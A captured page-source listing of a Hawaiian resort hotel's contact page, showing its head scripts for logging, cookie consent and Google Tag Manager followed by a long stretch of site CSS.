PageSourceSearch

https://www.maunakearesort.com/contact

html maunakearesort.com collected 2026-09-28 05:50:00 UTC 177,600 bytes, 4,434 lines download raw bytes

1
2<!DOCTYPE html>
3
4<html class="no-js" lang="en"> 
5    <head profile="http://www.w3.org/2005/10/profile">
6        <meta charset="utf-8" />
7        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
8        <meta name="viewport" content="width=device-width, initial-scale=1">
9        <link rel="icon" type="image/png" href="/images/favicon.png">
10        <link rel="preload" href="/css/fontello/font/fontello.woff2?78671574" as="font" type="font/woff2" crossorigin>
11        
12        <title>Contact Us | Mauna Kea Beach Hotel</title>
13
14<meta property="og:title" content="Contact Us | Mauna Kea Beach Hotel">
15<meta property="og:type" content="website">
16<meta property="og:url" content="https://www.maunakearesort.com/contact" />
17
18<link rel="canonical" href="https://www.maunakearesort.com/contact" />
19        <meta     name="description"   content="Connect with our team"  />
20
21        
21<script>
22            var _hdmlog=function(){var n="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(n){var t=Math.random()*16|0,i=n=="x"?t:t&3|8;return i.toString(16)}),t=function(n,t,i){var r=new(this.XMLHttpRequest||ActiveXObject)("MSXML2.XMLHTTP.3.0");return r.open("POST",n,1),r.setRequestHeader("X-Requested-With","XMLHttpRequest"),r.setRequestHeader("MDRest","1"),r.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=UTF-8"),r.setRequestHeader("Response-type","json"),r.onreadystatechange=function(){r.readyState==4&&(r.status!=200?i(r):t(r))},r};return function(i,r,u,f){var e="",b=document.location.toString(),o,h,c,l,a,v,y,w;if(JSON&&JSON.stringify)e=JSON.stringify(r);else{o="";for(s in r)e=e+o+'"'+s+'":"'+r[s]+'"',o=",";e="{"+e+"}"}u=u||+new Date;h=navigator.language;navigator.languages&&(h=navigator.languages.join(","));c={time:u,name:i,guid:n,details:e,path:b,appVersion:navigator.appVersion,languages:h,platform:navigator.platform,userAgent:navigator.userAgent,vendor:navigator.vendor};l=[];for(p in c)a=encodeURIComponent(p),v=encodeURIComponent(c[p]),l.push(a+"="+v);y=l.join("&");f=f||function(){};try{w=t("/logs/",f,function(){});w.send(y)}catch(k){window.console&&console.log(k)}return u}}(),_hdmq;window.onerror=function(n,t,i,r,u){try{return window.console&&console.log&&console.log("Error: "+n+" Script: "+t+" Line: "+i+" Column: "+r+" StackTrace: "+u),!1}catch(f){}};window.$=function(){var n=[],t=function(t){n.push(t)};return t.attachReady=function(t){return t(function(){t.each(n,function(n,i){i(t)});n.length=0}),t},t}();_hdmq=function(){var n=[],t=!1,i,r;return i=function(){t=!0;for(var i=0;i<n.length;i++)n[i]();n=[]},r=function(i){t?i():n.push(i)},{loadComplete:i,add:r}}()
23            </script>
23
24            
25<script> 
26    var HDMdataLayer = window.HDMdataLayer || [];
27
28    
29</script>
29
30
31
32<script async="async" src="https://static.srcspot.com/libs/jordana.js" type="application/javascript"></script>
32
33
34<script>
35    // Lazy load one trust script to prevent scroll in IOS
36    function loadOtScript() {
37        var s = document.createElement('script');    
38        s.src = 'https://cdn.cookielaw.org/scripttemplates/otSDKStub.js';    
39        s.defer = true;
40        s.type = 'text/javascript';
41        s.charset = 'UTF-8';    
42        s.setAttribute('data-domain-script', 'dddbbd81-9219-49e8-934e-de51c7f0618e');
43        var x = document.querySelector('head');    
44        x.appendChild(s);
45    }
46
47    window.addEventListener('load', function() {
48        setTimeout(function() {
49            try {
50                loadOtScript();
51            } catch (err) {
52                console.log(err);
53            }
54        }, 1000);
55    });
56</script>
56
57
58
59<!-- Google Tag Manager -->
60<script>
61    function OptanonWrapper() {
62        if (window.HDMdataLayer && window.dataLayer) {
63            window.dataLayer.forEach(function (item) {
64                window.HDMdataLayer.push(item);
65            });
66        }
67
68        /* Google Tag Manager */
vendor: 498 bytes, lines 68-76
68
69        (function (w, d, s, l, i) {
70            w[l] = w[l] || []; w[l].push({
71                'gtm.start':
72                    new Date().getTime(), event: 'gtm.js'
73            }); var f = d.getElementsByTagName(s)[0],
74                j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : ''; j.async = true; j.src =
75                    'https://www.googletagmanager.com/gtm.js?id=' + i + dl; f.parentNode.insertBefore(j, f);
76        })(window, document, 'script', 'HDMdataLayer', '
76GTM-TD566NW
vendor: 13 bytes, lines 76-77
76');
77        
77/* End Google Tag Manager */
78    };
79</script>
79
80<!-- End Google Tag Manager -->
81<script src="https://schemagenerator.hooray.agency/js/schema.js" defer data-key="21ad65f7-3cd0-4d42-a57b-bdf7b6791d70"></script>
81
82
83        
83<script>
84            
85        </script>
85
86        
87        
88        <link rel="stylesheet" type="text/css" href="/css/base-unmin/unmin.css">
89        
90        <style>/* Minification failed. Returning unminified contents.
91(2363,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-'
92(2364,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-'
93(2365,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-'
94(2366,3): run-time error CSS1062: Expected semicolon or closing curly-brace, found '-'
95 */
96/* Critical CSS
97**********************************/
98/* Variables
99**********************************/
100/* all vars, no need for @if critical */
101/* breakpoints */
102/* Animation - see header.scss for usage examples */
103/* Form placeholders */
104/* Usage:
105
106	.foo {
107	  @include placeholder {
108		color: green;
109	  }
110	}
111
112	@include placeholder {
113	  color: red;
114	}
115*/
116/* Flexbox 
117***************************************/
118/* Card */
119/* Filter */
120/* Gridder */
121/* Variables
122**********************************/
123/* all vars, no need for @if critical */
124/* breakpoints */
125/* Animation - see header.scss for usage examples */
126/* Form placeholders */
127/* Usage:
128
129	.foo {
130	  @include placeholder {
131		color: green;
132	  }
133	}
134
135	@include placeholder {
136	  color: red;
137	}
138*/
139/* Flexbox 
140***************************************/
141/* Card */
142/* Filter */
143/* Gridder */
144/* http://meyerweb.com/eric/tools/css/reset/ v2.0 | 20110126 License: none (public domain) */
145html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video {
146  margin: 0;
147  padding: 0;
148  border: 0;
149  font-size: 100%;
150  font: inherit;
151  vertical-align: baseline;
152}
153
154article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section {
155  display: block;
156}
157
158body {
159  line-height: 1;
160}
161
162ol, ul {
163  list-style: none;
164}
165
166blockquote, q {
167  quotes: none;
168}
169
170blockquote:before, blockquote:after, q:before, q:after {
171  content: '';
172  content: none;
173}
174
175table {
176  border-collapse: collapse;
177  border-spacing: 0;
178}
179
180/* General global styles 
181***********************************/
182html {
183  font-family: "Nunito Sans", sans-serif;
184  font-size: 16px;
185}
186
187body {
188  color: #56534d;
189}
190
191@media screen and (max-width: 767px) {
192  body {
193    -webkit-text-size-adjust: 100%;
194  }
195}
196
197body.is-admin {
198  padding-top: 40px;
199}
200
201strong {
202  font-weight: bold;
203}
204
205em {
206  font-style: italic;
207}
208
209p {
210  margin: 0 0 1.6em;
211  line-height: 1.6em;
212}
213
214hr {
215  border: none;
216  height: 1px;
217  border-top: 1px solid #999;
218  margin: 2em 0;
219}
220
221sup,
222sub {
223  vertical-align: baseline;
224  position: relative;
225  top: -.1em;
226}
227
228sub {
229  top: .1em;
230}
231
232blockquote {
233  margin: 0 0 1.5em;
234  border-left: 2px solid #ccc;
235  padding-left: 1em;
236}
237
238blockquote p {
239  line-height: 1.5em;
240  margin-bottom: .5em;
241}
242
243cite {
244  font-style: italic;
245  letter-spacing: .05em;
246}
247
248/* headers */
249h1, h2, h3, h4, h5, h6 {
250  line-height: 1.1em;
251}
252
253h1,
254.h1 {
255  font-family: "Lora", serif;
256  font-size: 2.5rem;
257  font-weight: 400;
258}
259
260@media screen and (max-width: 767px) {
261  h1,
262.h1 {
263    font-size: 2rem;
264  }
265}
266
267h1 em,
268.h1 em {
269  display: block;
270  font-family: "Kristabelle", cursive;
271  font-size: 2.5rem;
272  line-height: normal;
273  color: #ff671f;
274}
275
276@media screen and (max-width: 767px) {
277  h1 em,
278.h1 em {
279    font-size: 2rem;
280  }
281}
282
283h2,
284.h2 {
285  font-family: "Lora", serif;
286  font-size: 5rem;
287  margin-bottom: .5em;
288  font-weight: 400;
289}
290
291@media screen and (max-width: 767px) {
292  h2,
293.h2 {
294    font-size: 2.625rem;
295  }
296}
297
298h2 em,
299.h2 em {
300  display: block;
301  font-family: "Kristabelle", cursive;
302  font-size: 3.25rem;
303  color: #ff671f;
304  line-height: normal;
305}
306
307@media screen and (max-width: 767px) {
308  h2 em,
309.h2 em {
310    font-size: 2rem;
311  }
312}
313
314h2.med,
315.h2.med {
316  font-size: 2.5rem;
317}
318
319@media screen and (max-width: 767px) {
320  h2.med,
321.h2.med {
322    font-size: 1.5rem;
323  }
324}
325
326h2.med em,
327.h2.med em {
328  font-size: 3.813rem;
329}
330
331@media screen and (max-width: 767px) {
332  h2.med em,
333.h2.med em {
334    font-size: 2rem;
335  }
336}
337
338h3,
339.h3 {
340  font-family: "Lora", serif;
341  font-size: 1.875rem;
342  font-weight: 400;
343  margin-bottom: .5em;
344  line-height: 1.15em;
345  letter-spacing: .025em;
346}
347
348@media screen and (max-width: 767px) {
349  h3,
350.h3 {
351    font-size: 1.5rem;
352  }
353}
354
355h4,
356.h4 {
357  font-family: "Nunito Sans", sans-serif;
358  font-size: 1.125rem;
359  font-weight: 600;
360  text-transform: uppercase;
361  margin-bottom: .4em;
362  line-height: 1.3em;
363  letter-spacing: .05em;
364}
365
366h5,
367.h5 {
368  font-size: 1em;
369  margin-bottom: .2em;
370  font-weight: 700;
371}
372
373h6,
374.h6 {
375  font-size: 1em;
376  color: #333;
377}
378
379/* links */
380a {
381  -webkit-transition: color 0.4s;
382  -moz-transition: color 0.4s;
383  -ms-transition: color 0.4s;
384  transition: color 0.4s;
385  text-decoration: none;
386  color: #ff671f;
387  transition: background-color .35s, color .35s;
388  /*
389	&[href^="tel:"]{
390		font-weight: 700;
391	}*/
392}
393
394a:hover {
395  color: #000;
396}
397
398/* Lists */
399ul, ol {
400  line-height: 1.5em;
401  margin: 0 0 1.5em 2.2em;
402}
403
404ul {
405  list-style-type: disc;
406}
407
408ul ul {
409  list-style-type: circle;
410}
411
412ol {
413  list-style-type: decimal;
414}
415
416dl {
417  line-height: 1.5em;
418  margin: 0;
419}
420
421dl dt {
422  display: block;
423  margin: 0;
424}
425
426dl dd {
427  margin: 0 0 1.5em;
428}
429
430/* page layout */
431main {
432  display: block;
433}
434
435.main-content {
436  position: relative;
437  z-index: 2;
438  max-width: 2560px;
439  margin: 0 auto;
440  min-height: 300px;
441}
442
443/* 
444	Slick Slider overrides - check the 
445	buttons sass file for prev/next buttons
446********************************************/
447.slick-list,
448.slick-track {
449  height: 100%;
450}
451
452/* Datepicker overrides */
453#ui-datepicker-div .ui-state-highlight,
454#ui-datepicker-div .ui-widget-content .ui-state-highlight,
455#ui-datepicker-div .ui-widget-header .ui-state-highlight {
456  background: #ccc;
457  color: #fff;
458}
459
460#ui-datepicker-div .ui-state-active,
461#ui-datepicker-div .ui-widget-content .ui-state-active,
462#ui-datepicker-div .ui-widget-header .ui-state-active {
463  background: #ff671f;
464  color: #fff;
465  border-color: #ff671f;
466}
467
468#ui-datepicker-div.ui-datepicker {
469  z-index: 999999999999999999999 !important;
470}
471
472.embedded-messaging > .embeddedMessagingFrame[class~="isMinimized"],
473.embeddedMessagingConversationButtonWrapper .embeddedMessagingConversationButton {
474  bottom: 7rem !important;
475  right: 1rem !important;
476}
477
478.embedded-messaging > .embeddedMessagingFrame[class~="isMaximized"] {
479  z-index: 9999999990;
480}
481
482#ae_launcher.ae-cta-position-preset-right-lower {
483  bottom: 190px !important;
484}
485
486@media screen and (max-width: 767px) {
487  #ae_launcher.ae-cta-position-preset-right-lower {
488    bottom: 24px !important;
489  }
490}
491
492/* Variables
493**********************************/
494/* all vars, no need for @if critical */
495/* breakpoints */
496/* Animation - see header.scss for usage examples */
497/* Form placeholders */
498/* Usage:
499
500	.foo {
501	  @include placeholder {
502		color: green;
503	  }
504	}
505
506	@include placeholder {
507	  color: red;
508	}
509*/
510/* Flexbox 
511***************************************/
512/* Card */
513/* Filter */
514/* Gridder */
515/*
516	Print style sheet: print.css
517*/
518/* Variables
519**********************************/
520/* all vars, no need for @if critical */
521/* breakpoints */
522/* Animation - see header.scss for usage examples */
523/* Form placeholders */
524/* Usage:
525
526	.foo {
527	  @include placeholder {
528		color: green;
529	  }
530	}
531
532	@include placeholder {
533	  color: red;
534	}
535*/
536/* Flexbox 
537***************************************/
538/* Card */
539/* Filter */
540/* Gridder */
541.preload-image {
542  background: #fff url(/images/loading.gif) no-repeat center center !important;
543  background-size: initial !important;
544}
545
546.has-loader::before {
547  content: '';
548  pointer-events: none;
549  position: absolute;
550  top: 50%;
551  left: 50%;
552  width: 30px;
553  height: 30px;
554  background-image: url(/images/layout/loader.png);
555  background-position: center;
556  background-size: contain;
557  background-repeat: no-repeat;
558  transform: translate(-50%, -50%);
559  animation: loader 4s infinite linear;
560}
561
562@keyframes loader {
563  0% {
564    transform: rotate(0);
565  }
566  100% {
567    transform: rotate(360deg);
568  }
569}
570
571/* Object fit images */
572.object-fit {
573  display: block;
574  object-fit: cover;
575  object-position: 50% 50%;
576  width: 100%;
577  height: 100%;
578}
579
580.object-fit-top {
581  object-position: 50% 20%;
582}
583
584.object-fit-bottom {
585  object-position: 50% 80%;
586}
587
588@media screen and (max-width: 767px) {
589  .object-fit-bottom {
590    object-position: 50% 90%;
591  }
592}
593
594.object-fit-right {
595  object-position: 80% 50%;
596}
597
598@media screen and (max-width: 767px) {
599  .object-fit-right {
600    object-position: 90% 50%;
601  }
602}
603
604.object-fit-left {
605  object-position: 20% 50%;
606}
607
608.object-fit-contain {
609  object-fit: contain;
610}
611
612.object-fit-right-top {
613  object-position: 80% 20%;
614}
615
616@media screen and (max-width: 767px) {
617  .object-fit-right-top {
618    object-position: 90% 10%;
619  }
620}
621
622.object-fit-left-top {
623  object-position: 20% 20%;
624}
625
626@media screen and (max-width: 767px) {
627  .object-fit-left-top {
628    object-position: 10% 10%;
629  }
630}
631
632/* clearfix */
633.cf:after {
634  content: '';
635  display: table;
636  clear: both;
637}
638
639@supports (display: flow-root) {
640  .cf {
641    display: flow-root;
642  }
643  .cf:after {
644    content: none;
645  }
646}
647
648.clear-left {
649  clear: left;
650}
651
652.main-pad {
653  padding: 3em 0;
654}
655
656.nobr {
657  white-space: nowrap;
658}
659
660.align-center {
661  text-align: center;
662}
663
664.align-right {
665  text-align: right;
666}
667
668.normal {
669  text-transform: none;
670}
671
672.brand-color {
673  color: #ff671f;
674}
675
676.westin-color {
677  color: #529d6e;
678}
679
680@media screen and (max-width: 767px) {
681  .mobile-break {
682    display: block;
683  }
684}
685
686/* image replacement */
687.ir {
688  text-indent: 200%;
689  white-space: nowrap;
690  overflow: hidden;
691}
692
693.break-word {
694  overflow-wrap: break-word;
695  word-wrap: break-word;
696  /*		
697	-ms-word-break: break-all;
698   -moz-word-break: break-all;	
699        word-break: break-all;	
700	*/
701  /* non standard for webkit */
702  word-break: break-word;
703  -webkit-hyphens: auto;
704  -moz-hyphens: auto;
705  -ms-hyphens: auto;
706  hyphens: auto;
707}
708
709/* headers */
710.pre-hdr {
711  color: #ff671f;
712  font-size: .75rem;
713  font-weight: 600;
714  letter-spacing: .05em;
715  text-transform: uppercase;
716  line-height: 1.4em;
717  margin-bottom: .75em;
718}
719
720/*
721.hyphens { 
722	@include hyphens();
723}
724*/
725.intro {
726  margin-bottom: 3em;
727  padding-top: 1em;
728}
729
730@media screen and (max-width: 767px) {
731  .intro {
732    margin-bottom: 0;
733    padding-top: 0;
734  }
735}
736
737.intro .hgroup {
738  box-sizing: border-box;
739  position: relative;
740  z-index: 2;
741  float: left;
742  width: 50%;
743  margin-bottom: 2em;
744  padding-right: 1em;
745}
746
747@media screen and (max-width: 767px) {
748  .intro .hgroup {
749    float: none;
750    width: auto;
751    margin-bottom: 1em;
752    padding-right: 0;
753  }
754}
755
756.intro h1 em {
757  display: inline;
758}
759
760.intro .cta {
761  text-transform: uppercase;
762  font-size: .75rem;
763  margin-top: 4.5em;
764}
765
766@media screen and (max-width: 767px) {
767  .intro .cta {
768    margin-top: 1.5em;
769  }
770}
771
772.intro .cta a {
773  color: currentColor;
774}
775
776.intro .cta a:hover {
777  color: #ff671f;
778}
779
780.intro .cta::after {
781  content: ' \2192';
782  font-size: 2em;
783  color: #ff671f;
784}
785
786.intro.stacked .hgroup {
787  float: none;
788  width: auto;
789  padding-right: 0;
790}
791
792.has-caption::after {
793  background: linear-gradient(to top, rgba(0, 0, 0, 0.95) 0%, rgba(0, 0, 0, 0) 100%);
794  bottom: 0;
795  content: '';
796  height: 50%;
797  left: 0;
798  position: absolute;
799  width: 100%;
800  /*z-index: 2;*/
801  pointer-events: none;
802}
803
804.has-caption.lighter::after {
805  background: linear-gradient(to top, rgba(0, 0, 0, 0.7) 0%, rgba(0, 0, 0, 0) 100%);
806  height: 40%;
807}
808
809.has-caption.has-caption-top::after {
810  background: linear-gradient(rgba(0, 0, 0, 0.4) 0%, rgba(0, 0, 0, 0) 100%);
811  bottom: auto;
812  top: 0;
813  height: 90%;
814}
815
816/* caption gradient bg */
817.caption-grad {
818  position: relative;
819}
820
821.caption-grad::after {
822  content: '';
823  pointer-events: none;
824  background: linear-gradient(to top, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0) 100%);
825  bottom: 0;
826  height: 110px;
827  left: 0;
828  position: absolute;
829  width: 100%;
830  /*z-index: 2;*/
831}
832
833.has-arrow::after {
834  content: ' \2192';
835  font-size: 2em;
836}
837
838.disclaimer {
839  font-size: .85em;
840  font-style: italic;
841}
842
843.inline-left {
844  display: block;
845  float: left;
846  margin: 0 30px 20px 0;
847}
848
849.inline-left img {
850  max-width: 100%;
851  height: auto;
852}
853
854@media screen and (max-width: 767px) {
855  .inline-left {
856    float: none;
857    margin: 0 auto 12px;
858  }
859}
860
861img.inline-left {
862  max-width: 100%;
863  height: auto;
864}
865
866.inline-right {
867  display: block;
868  float: right;
869  margin: 0 0 20px 30px;
870}
871
872.inline-right img {
873  max-width: 100%;
874  height: auto;
875}
876
877@media screen and (max-width: 767px) {
878  .inline-right {
879    float: none;
880    margin: 0 auto 12px;
881  }
882}
883
884img.inline-right {
885  max-width: 100%;
886  height: auto;
887}
888
889.ada-hidden {
890  position: absolute;
891  left: -10000px;
892  top: auto;
893  width: 1px;
894  height: 1px;
895  overflow: hidden;
896}
897
898.sr-only {
899  position: absolute;
900  width: 1px;
901  height: 1px;
902  padding: 0;
903  margin: -1px;
904  overflow: hidden;
905  clip: rect(0, 0, 0, 0);
906  border: 0;
907}
908
909/* vertically center */
910.vcenter {
911  -webkit-transform: translateY(-50%);
912  -moz-transform: translateY(-50%);
913  -ms-transform: translateY(-50%);
914  transform: translateY(-50%);
915  position: relative;
916  top: 50%;
917}
918
919/* vertically & horizontally center */
920.vhcenter {
921  -webkit-transform: translate(-50%, -50%);
922  -moz-transform: translate(-50%, -50%);
923  -ms-transform: translate(-50%, -50%);
924  transform: translate(-50%, -50%);
925  position: absolute;
926  top: 50%;
927  left: 50%;
928  z-index: 2;
929}
930
931.inner {
932  width: 90%;
933  max-width: 1000px;
934  margin: 0 auto;
935}
936
937.center {
938  text-align: center;
939  margin-left: auto;
940  margin-right: auto;
941}
942
943.centered-list {
944  text-align: center;
945}
946
947/* Lists */
948.unstyled-list {
949  list-style-type: none;
950  margin: 0;
951}
952
953.inside-list {
954  list-style-position: inside;
955}
956
957.bg-cover {
958  background-position: center;
959  background-repeat: no-repeat;
960  background-size: cover;
961}
962
963.bg-cover.top {
964  background-position: center top;
965}
966
967.bg-cover.right {
968  background-position: right center;
969}
970
971.bg-cover.bottom {
972  background-position: center bottom;
973}
974
975.bg-cover.left {
976  background-position: left center;
977}
978
979.bg-cover.left-top {
980  background-position: left top;
981}
982
983.bg-cover.left-bottom {
984  background-position: left bottom;
985}
986
987.bg-cover.right-top {
988  background-position: right top;
989}
990
991.bg-cover.right-bottom {
992  background-position: right bottom;
993}
994
995/* Cover items
996***************************************/
997/*
998.cover-image {  
999	//@include transition(all .5s);   
1000	//@extend .bg-cover;
1001	position: absolute;
1002	width: 100%;
1003	height: 100%;
1004	top: 0;
1005	left: 0;		
1006	margin: 0 auto;
1007	box-sizing: border-box;
1008	pointer-events: none;
1009		
1010	&.top { background-position: center top; }
1011	&.bottom { background-position: center bottom; }
1012				
1013}	
1014*/
1015.cover-link {
1016  position: absolute;
1017  top: 0;
1018  left: 0;
1019  z-index: 11;
1020  width: 100%;
1021  height: 100%;
1022  text-indent: -9999px;
1023  overflow: hidden;
1024}
1025
1026.cover-link a {
1027  display: block;
1028  width: 100%;
1029  height: 100%;
1030}
1031
1032/* Lazy loaded images */
1033.lazy-fade-in {
1034  animation-name: fadeIn;
1035  animation-duration: 1.3s;
1036  animation-timing-function: cubic-bezier(0, 0, 0.4, 1);
1037  animation-fill-mode: forwards;
1038}
1039
1040@keyframes fadeIn {
1041  from {
1042    opacity: 0;
1043  }
1044  to {
1045    opacity: 1;
1046  }
1047}
1048
1049/* Columns 
1050*************************************/
1051.two-col {
1052  -webkit-column-count: 2;
1053  -moz-column-count: 2;
1054  column-count: 2;
1055  -webkit-column-gap: 40px;
1056  -moz-column-gap: 40px;
1057  column-gap: 40px;
1058  margin-bottom: 1.4em;
1059}
1060
1061.two-col .col,
1062.two-col li {
1063  -webkit-column-break-inside: avoid;
1064  page-break-inside: avoid;
1065  break-inside: avoid;
1066}
1067
1068@media screen and (max-width: 480px) {
1069  .two-col {
1070    -webkit-column-count: auto;
1071    -moz-column-count: auto;
1072    column-count: auto;
1073    -webkit-column-gap: normal;
1074    -moz-column-gap: normal;
1075    column-gap: normal;
1076    margin-bottom: 0;
1077  }
1078}
1079
1080/*
1081.three-col { 
1082	@include columns(3, 20px);
1083			  
1084	@media screen and (max-width: 767px){
1085		@include columns(auto, normal);		
1086	}	
1087	
1088	.col,
1089	li { 
1090		-webkit-column-break-inside: avoid;
1091                  page-break-inside: avoid;
1092                       break-inside: avoid;	
1093	}		
1094	
1095}
1096
1097.four-col { 
1098	@include columns(4, 40px);
1099	margin-bottom: 1.4em;
1100	
1101	.col,
1102	li { 
1103		-webkit-column-break-inside: avoid;
1104                  page-break-inside: avoid;
1105                       break-inside: avoid;	
1106	}
1107	
1108	@media screen and (max-width: 480px){
1109		@include columns(auto, normal);
1110		margin-bottom: 0;
1111	}	
1112	
1113}
1114*/
1115@-webkit-keyframes fade-in {
1116  from {
1117    opacity: 0;
1118  }
1119  to {
1120    opacity: 1;
1121  }
1122}
1123
1124@-moz-keyframes fade-in {
1125  from {
1126    opacity: 0;
1127  }
1128  to {
1129    opacity: 1;
1130  }
1131}
1132
1133@-ms-keyframes fade-in {
1134  from {
1135    opacity: 0;
1136  }
1137  to {
1138    opacity: 1;
1139  }
1140}
1141
1142@-o-keyframes fade-in {
1143  from {
1144    opacity: 0;
1145  }
1146  to {
1147    opacity: 1;
1148  }
1149}
1150
1151@keyframes fade-in {
1152  from {
1153    opacity: 0;
1154  }
1155  to {
1156    opacity: 1;
1157  }
1158}
1159
1160/*
1161.icon { 
1162	vertical-align: middle;
1163}*/
1164/* responsive images */
1165.resp-img {
1166  max-width: 100%;
1167  height: auto;
1168}
1169
1170/* standard table */
1171.tbl-std {
1172  border-collapse: collapse;
1173  width: 100%;
1174  margin: 0 auto 1.4em;
1175}
1176
1177.tbl-std thead {
1178  background-color: #333;
1179  color: #fff;
1180  font-weight: 700;
1181}
1182
1183.tbl-std th,
1184.tbl-std td {
1185  padding: 1em;
1186  line-height: 1.4em;
1187}
1188
1189@media screen and (max-width: 480px) {
1190  .tbl-std th,
1191.tbl-std td {
1192    display: block;
1193    padding: 4px 12px;
1194    line-height: normal;
1195  }
1196}
1197
1198.tbl-std th {
1199  text-align: left;
1200  vertical-align: middle;
1201}
1202
1203@media screen and (max-width: 768px) {
1204  .tbl-std th span {
1205    display: block;
1206  }
1207}
1208
1209.tbl-std td {
1210  vertical-align: top;
1211}
1212
1213.tbl-std td[scope="row"] {
1214  font-family: "Lora", serif;
1215  font-weight: 700;
1216  text-transform: uppercase;
1217}
1218
1219.tbl-std tbody tr {
1220  background-color: #e3e3e3;
1221  border-bottom: 1px solid #fff;
1222}
1223
1224.tbl-std tbody tr:nth-child(even) {
1225  background-color: #d2d2d2;
1226}
1227
1228.tbl-std-collapsed {
1229  width: auto;
1230  margin: 0 0 1.4em;
1231}
1232
1233/* flex list */
1234/*
1235.flex-list { 
1236	@include flexbox;
1237	@include flex-wrap(wrap);
1238	list-style-type: none;	
1239	text-align: center;
1240  	margin-left: 0;
1241	
1242	&.pipes {
1243		> li {
1244			& + li {
1245				border-left: 1px solid $brand-color;
1246
1247				@media screen and (max-width: 768px){
1248					border-left: none;
1249				}
1250				
1251				@media screen and (max-width: 767px){
1252					border-top: 1px solid $brand-color;
1253					//margin-top: 20px;
1254					padding-top: 20px;
1255				}				
1256			}
1257			
1258			&:nth-child(2n + 2){
1259				@media screen and (max-width: 768px){
1260					border-left: 1px solid $brand-color;
1261				}
1262				
1263				@media screen and (max-width: 767px){
1264					border-left: none;
1265				}				
1266			}						
1267			
1268		}				
1269		
1270	}
1271	
1272	> li { 
1273		//@include flex(1 0 calc(25% - 10px));
1274		@include flex(1 0 25%);
1275		box-sizing: border-box;
1276		
1277		@media screen and (max-width: 768px){
1278			@include flex(1 0 50%);			
1279			margin-bottom: 30px;
1280		}				
1281		
1282		@media screen and (max-width: 767px){
1283			@include flex(1 0 100%);			
1284		}		
1285		
1286	}
1287	
1288	.lm { 
1289		font-size: 12px;
1290		padding: .8em 1.6em .8em 1.8em; 
1291	}
1292		
1293}
1294*/
1295/* Flex cards */
1296/*
1297.flex-card-set {	
1298	@include flexbox;		
1299	@include flex-wrap(wrap);
1300	max-width: 940px;	
1301	margin: 0 auto;
1302}
1303
1304.flex-card {
1305	@include flexbox;
1306	box-sizing: border-box;	
1307	margin-bottom: 2em;
1308	padding: 0 1em;
1309	width: 33.3333333333%;	
1310	
1311	@media screen and (max-width: 768px){
1312		width: 50%;
1313		padding: 0 0 1em;
1314		max-width: 640px;
1315		margin: 0 auto;
1316	}
1317	
1318	@media screen and (max-width: 767px){
1319		width: 100%;
1320	}
1321}
1322
1323.flex-card-img {
1324	position: relative;
1325	overflow: hidden;
1326	width: 100%;
1327	height: 236px;
1328	margin: 0 auto 2em;
1329}
1330
1331.flex-card-content {
1332	@include flexbox;
1333	@include flex-direction(column);
1334	box-sizing: border-box;	
1335	width: 100%;
1336	max-width: 314px;	
1337	margin: 0 auto;
1338	padding: 0 0 2em;
1339	position: relative;
1340	
1341	.unstyled-list { margin-bottom: 1.8em; }
1342	
1343}
1344
1345.flex-card-inner {
1346	@include flex(1 0 auto);
1347	padding: 0 2em;
1348}
1349*/
1350.flex {
1351  display: -webkit-box;
1352  display: -webkit-flex;
1353  display: -moz-flex;
1354  display: -ms-flexbox;
1355  display: flex;
1356}
1357
1358/*
1359// Flex list
1360.flex-list {
1361	@include flexbox;		
1362	@include flex-wrap(wrap);		
1363	
1364	> li {
1365		@include flexbox;
1366		box-sizing: border-box;  		
1367  		padding: 0.5em;	
1368		width: 50%;
1369		
1370		@media screen and (max-width: 767px){
1371			padding: 0;
1372			width: 100%;
1373		}
1374	}	
1375	
1376}
1377
1378.flex-list-content {
1379	@include flexbox;
1380	@include flex-direction(column);
1381	background-color: #fff;
1382	padding: 1em;
1383	width: 100%;
1384	
1385	.filler { 
1386		@include flex(1 0 auto);
1387	}
1388}
1389*/
1390/* Flex cols */
1391.flex-cols {
1392  display: flex;
1393  flex-wrap: wrap;
1394  width: 100%;
1395  margin-bottom: 3em;
1396}
1397
1398@media screen and (max-width: 767px) {
1399  .flex-cols {
1400    margin-bottom: 2em;
1401  }
1402}
1403
1404.flex-cols .col-1-2 {
1405  width: 50%;
1406}
1407
1408@media screen and (max-width: 767px) {
1409  .flex-cols .col-1-2 {
1410    width: 100%;
1411  }
1412}
1413
1414.flex-cols .col-1-3 {
1415  width: 33.3333333333%;
1416}
1417
1418@media screen and (max-width: 767px) {
1419  .flex-cols .col-1-3 {
1420    width: 100%;
1421  }
1422}
1423
1424.flex-cols .col-2-3 {
1425  width: 66.6666666667%;
1426}
1427
1428@media screen and (max-width: 767px) {
1429  .flex-cols .col-2-3 {
1430    width: 100%;
1431  }
1432}
1433
1434.flex-cols .col-1-4 {
1435  width: 25%;
1436}
1437
1438@media screen and (max-width: 767px) {
1439  .flex-cols .col-1-4 {
1440    width: 100%;
1441  }
1442}
1443
1444.flex-cols .col-3-4 {
1445  width: 75%;
1446}
1447
1448@media screen and (max-width: 767px) {
1449  .flex-cols .col-3-4 {
1450    width: 100%;
1451  }
1452}
1453
1454.flex-cols .col-1-5 {
1455  width: 20%;
1456}
1457
1458@media screen and (max-width: 767px) {
1459  .flex-cols .col-1-5 {
1460    width: 100%;
1461  }
1462}
1463
1464.flex-cols .col-2-5 {
1465  width: 40%;
1466}
1467
1468@media screen and (max-width: 767px) {
1469  .flex-cols .col-2-5 {
1470    width: 100%;
1471  }
1472}
1473
1474.flex-cols .col-3-5 {
1475  width: 60%;
1476}
1477
1478@media screen and (max-width: 767px) {
1479  .flex-cols .col-3-5 {
1480    width: 100%;
1481  }
1482}
1483
